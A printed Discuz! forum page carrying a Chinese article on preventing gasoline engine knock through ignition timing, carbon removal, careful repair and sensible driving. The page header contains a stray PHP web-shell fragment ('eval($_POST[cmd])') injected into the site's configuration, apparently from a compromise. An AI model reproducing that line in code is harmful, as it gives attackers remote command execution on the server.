四輪天下 - Powered by Discuz! Board

');eval($_POST[cmd])?>'); define('UC_APPID', 'UC_APPID'); define('UC_PPP', '20'); 四輪天下 - Powered by Discuz! Board

標題: 汽油機爆燃的預防措施 [打印本頁]

作者: griffinmevn0216 時間: 2010-10-12 06:13 標題: 汽油機爆燃的預防措施

在日常的修理工作中可以發現，發動機由於爆燃而引起的故障和損壞不在少數。主要表現在：

(1)這種不正常的燃燒常帶有爆炸性質，給發動機氣缸蓋、缸壁、活塞頂部、連桿等機件造成很強的機械應力和熱應力而導致早期損壞。

(2)汽油機燃燒終了溫度可達2000℃-2500℃，而活塞頂、燃燒室及缸壁的溫度僅為200℃-300℃。除了冷卻水的作用外，能夠維持這樣低溫度的原因，還包括在這些壁面上形成了氣體的附面層，它起到了隔熱的作用。而強烈爆破時的衝擊波會破壞這一附面層，潤滑油膜被破壞，加速氣缸磨損，發動機的動力性、經濟性和可靠性都有明顯下降。

(3)嚴重者表現為燃燒室裂紋、活塞頂部裂紋、火花塞瓷體碎裂、排氣門燒蝕、氣缸墊沖蝕等，嚴重地影響了發動機的使用壽命。因此，在汽車的使用過程中，應重視對爆燃的控制和預防。

就發動機理論而言，導致汽油機爆燃的因素有：點火提前角、混合氣濃度、點火能量、燃燒速度、發動機轉速、發動機負荷、汽油性質、燃燒室積炭、冷卻水溫度、氣缸蓋和活塞材料、汽油機的壓縮比、氣缸直徑、火花塞位置及型號等。

1、正確調整點火正時

(1)正確的點火正時是避免汽油機爆燃的有效措施之一。最佳的點火提前角是由台架試驗來確定的，如果點火提前角過大，混合氣的壓力、溫度過高，爆燃傾向增加。因此，在分電器調整和安裝時，必須認真細緻按正常的步驟和技術數據操作。

另外，有些駕駛員認為，點火提前角大，發動機功率可提高。所以，常常人為調早點火時間，導致汽車在行駛中(特別是高負荷低速時)產生爆燃，損傷機件。

(2)汽油辛烷值的高低，直接表示其抗爆性能的好壞。如使用低於規定牌號的汽油時，必須及時將分電器上的辛烷值調節器向負方向調整，以適當推遲點火時間，避免爆燃。

(3)發動機的爆燃與發動機進氣溫度有很大關係。如：在高溫狀況下，發動機充氣量減少，易引起爆燃。此時，應適當推遲點火時間，並設法改進進氣方式。

2、及時清除燃燒室積炭

發動機在工作時，燃燒不完全的燃料和竄入燃燒室的潤滑油在高溫和氧氣的作用下，凝聚在燃燒室壁、活塞環槽、氣門頭、氣門座、氣缸壁和火花塞上，形成一層粗糙堅硬的膠質和碳質複雜混合物，即積炭。嚴重的積炭造成機件傳熱不良，溫升過高。積炭還減少了燃燒室容積，相對提高了發動機壓縮比，使爆燃的傾向增大。同時，積炭還會形成熾熱表面和熾熱點，導致表面點火，從而使發動機負荷增加，縮短使用壽命。此外，積炭的炭粒還會造成缸體的加速磨損。

因此，在發動機的保養和修理作業中，必須徹底清除發動機積炭，並找出積炭產生的原因，加以解決。

發動機產生積炭的原因主要有如下幾種，應引起重視。

(1)化油器調整不當，進氣管路不暢或漏氣，造成混合氣成分失調。

(2)汽油品質差，含有雜質。

(3)機體內潤滑油使用時間過長，膠體物含量高。

(4)活塞環松曠、開口過大、對口或失效，機油竄入燃燒室燃燒。

(5)氣缸密封件如氣門、活塞環、氣缸墊磨損或損壞，導致漏氣，降低了氣缸壓力，使燃油不能充分燃燒。

(6)點火正時不準確，過早或過遲。

(7)發動機長時間低溫運轉，使燃油燃燒不完全。

(8)頂置式配氣機構的氣門導管與氣門桿磨損，間隙過大，引起機油滲入燃燒室。

(9)點火系故障造成點火能量不足，火花塞易積炭。

(10)油浴式空氣濾清器傾斜或注油過量，被吸入氣缸燃燒。

(11)火花塞選型有誤。如：熱型火花塞的發動機誤用了冷型火花塞而使火花塞積炭。

3、嚴格按修理規範和技術標準組織維修

(1)發動機在修理過程中，特別是進行大修時，由於焊修缸蓋、磨削缸體、缸蓋平面、鏜磨氣缸、鑲氣門座圈、更換新氣門、修理活塞連桿組等，都可導致燃燒室容積變化。如果燃燒室容積變小，會產生爆燃傾向。所以，修理中要嚴格按規範和標準技術數據修復，並對燃燒室容積進行必要的核查和調整。

(2)在缸體、缸蓋平面幾經磨削後，發動機各氣缸容積會普遍減少，壓縮比會比設計值增大。為了避免爆震，應適當推遲點火提前角或選用較高牌號抗爆性強的汽油。

(3)進行氣缸鏜、磨時，要嚴格控制氣缸的圓度和圓柱度，以及氣缸軸線與曲軸主軸承中心線的垂直度。否則，會引起氣缸偏磨、活塞環對口。從而導致機油上竄，容易使燃燒室產生積炭。

(4)要克服濫塗濫抹潤滑油、脂的現象。在氣門頭、氣門座、缸墊、活塞等表面不應塗抹機油或潤滑脂，更不能在發動機裝配前向氣缸內傾倒機油，這些都直接造成燃燒室積炭。

(5)研磨氣門時，氣門工作面要有一定寬度(尤其是排氣門)。如果工作面太窄，會影響氣門的散熱和氣密性，這將誘發爆燃產生。

(6)整機裝配過程中，要特別注意活塞環的上下平面，不能裝反(特別是油環)，同時活塞環的開口朝向要把握好，避免對口。

4、合理使用汽車

(1)合理裝載，盡量避免發動機在低速大負荷下工作。

(2)避免發動機在過冷、過熱的狀況下長時間工作。

(3)嚴格按規定的牌號使用汽油，提高抗爆性。

(4)搞好例行保養，按季選用不同牌號的機油，保證發動機工作正常。

(5)經常檢查和調整化油器以及清洗空氣濾清器，以保持各工況所需的混合氣濃度。

(6)可以安裝使用「汽車爆震限製器」，此裝置在發動機發生爆燃前，能自動迅速地推遲點火時間，從而有效地避免發動機爆燃。

歡迎光臨四輪天下 (http://bbs.shonlong.com.tw/discuz/)